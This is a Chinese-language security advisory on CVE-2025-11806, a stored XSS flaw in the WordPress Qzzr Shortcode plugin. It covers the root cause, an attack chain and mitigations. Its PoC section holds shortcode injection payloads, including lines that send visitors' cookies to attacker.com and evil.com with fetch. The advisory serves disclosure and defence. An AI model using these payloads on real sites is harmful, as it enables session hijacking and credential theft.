CVE-2025-11806 WordPress Qzzr Shortcode插件存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-11806

漏洞类型

存储型跨站脚本攻击（Stored XSS）

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Qzzr Shortcode Plugin for WordPress

漏洞概述

CVE-2025-11806是WordPress Qzzr Shortcode插件中的一个存储型跨站脚本（Stored XSS）漏洞。该插件是一款用于在WordPress网站中嵌入Qzzr测验的短代码插件。漏洞源于插件在处理qzzr短代码的quiz属性时，对用户输入的清洗和输出转义处理不足。攻击者只需要拥有WordPress贡献者级别（Contributor）或更高权限，即可利用此漏洞在受影响的页面中注入任意JavaScript代码。由于是存储型XSS，恶意脚本会被永久保存在数据库中，所有访问包含恶意代码页面的用户都会执行攻击者植入的脚本，可能导致会话劫持、凭据窃取、恶意重定向等严重后果。此漏洞影响版本至1.0.1，CVSS评分6.4，属于中等严重程度。

技术细节

该漏洞的根本原因在于Qzzr Shortcode插件对shortcode属性的处理缺乏适当的安全防护。在WordPress中，shortcode允许用户通过简短的标签在文章或页面中嵌入动态内容。qzzr短代码的典型用法是[qzzr quiz='123']，其中quiz属性指定要嵌入的测验ID。插件在处理这个属性值时，直接将用户提供的输入插入到HTML输出中，而没有对其进行适当的HTML实体转义或输入验证。攻击者可以构造类似[qzzr quiz='123"><script>alert(document.cookie)</script>']的payload，当其他用户访问包含此短代码的页面时，浏览器会执行注入的JavaScript代码。由于WordPress的贡献者角色拥有创建和编辑文章的权限，但发布需要更高权限，攻击者可以利用这一点在草稿或待审核的内容中植入恶意代码，等待管理员审核时触发漏洞。

攻击链分析

STEP 1

1. 信息收集

攻击者识别目标网站使用的WordPress版本和Qzzr Shortcode插件版本（≤1.0.1）

STEP 2

2. 账户获取

攻击者通过社会工程、凭据填充或利用其他漏洞获取WordPress贡献者（Contributor）级别或更高权限的账户

STEP 3

3. 恶意代码注入

在文章或页面中插入包含XSS payload的qzzr短代码，如[qzzr quiz='..."><script>恶意代码</script>']

STEP 4

4. 代码持久化

恶意短代码被保存到WordPress数据库中，作为帖子内容的一部分持久存储

STEP 5

5. 等待触发

攻击者可以发布文章或将草稿提交审核，等待管理员或普通用户访问包含恶意代码的页面

STEP 6

6. 脚本执行

当受害者访问该页面时，WordPress渲染短代码时未转义的payload被执行，触发存储型XSS

STEP 7

7. 恶意操作

攻击者通过注入的JavaScript代码执行各种恶意操作：窃取会话Cookie、凭据、键盘记录、重定向用户等

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- WordPress Qzzr Shortcode XSS PoC -->
<!-- 贡献者或更高权限用户可在文章/页面中插入以下短代码 -->

[qzzr quiz='123"><script>alert('XSS - CVE-2025-11806')</script><div x=']

<!-- 或使用img标签onerror事件 -->
[qzzr quiz='456" onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)" x=']

<!-- 更隐蔽的payload，使用事件处理器 -->
[qzzr quiz='789" onmouseover="eval(atob('YWxlcnQoJ1hTUycp'))" style="display:block;position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999"]

<!-- 实际利用示例 - 会话劫持 -->
[qzzr quiz='1"><script>fetch('https://evil.com/log?c='+btoa(document.cookie))</script>']

影响范围

Qzzr Shortcode Plugin ≤ 1.0.1

防御指南

临时缓解措施

如果无法立即升级插件，可采取以下临时缓解措施：1) 暂时禁用Qzzr Shortcode插件；2) 移除所有用户对使用短代码的权限，只保留管理员可使用；3) 通过.htaccess或WAF规则过滤包含script标签或事件处理器属性的请求；4) 添加严格的Content-Security-Policy头部限制脚本执行；5) 手动审查所有包含[qzzr]短代码的文章和页面，移除可疑内容。同时建议启用WordPress的自动更新功能，以便及时安装安全补丁。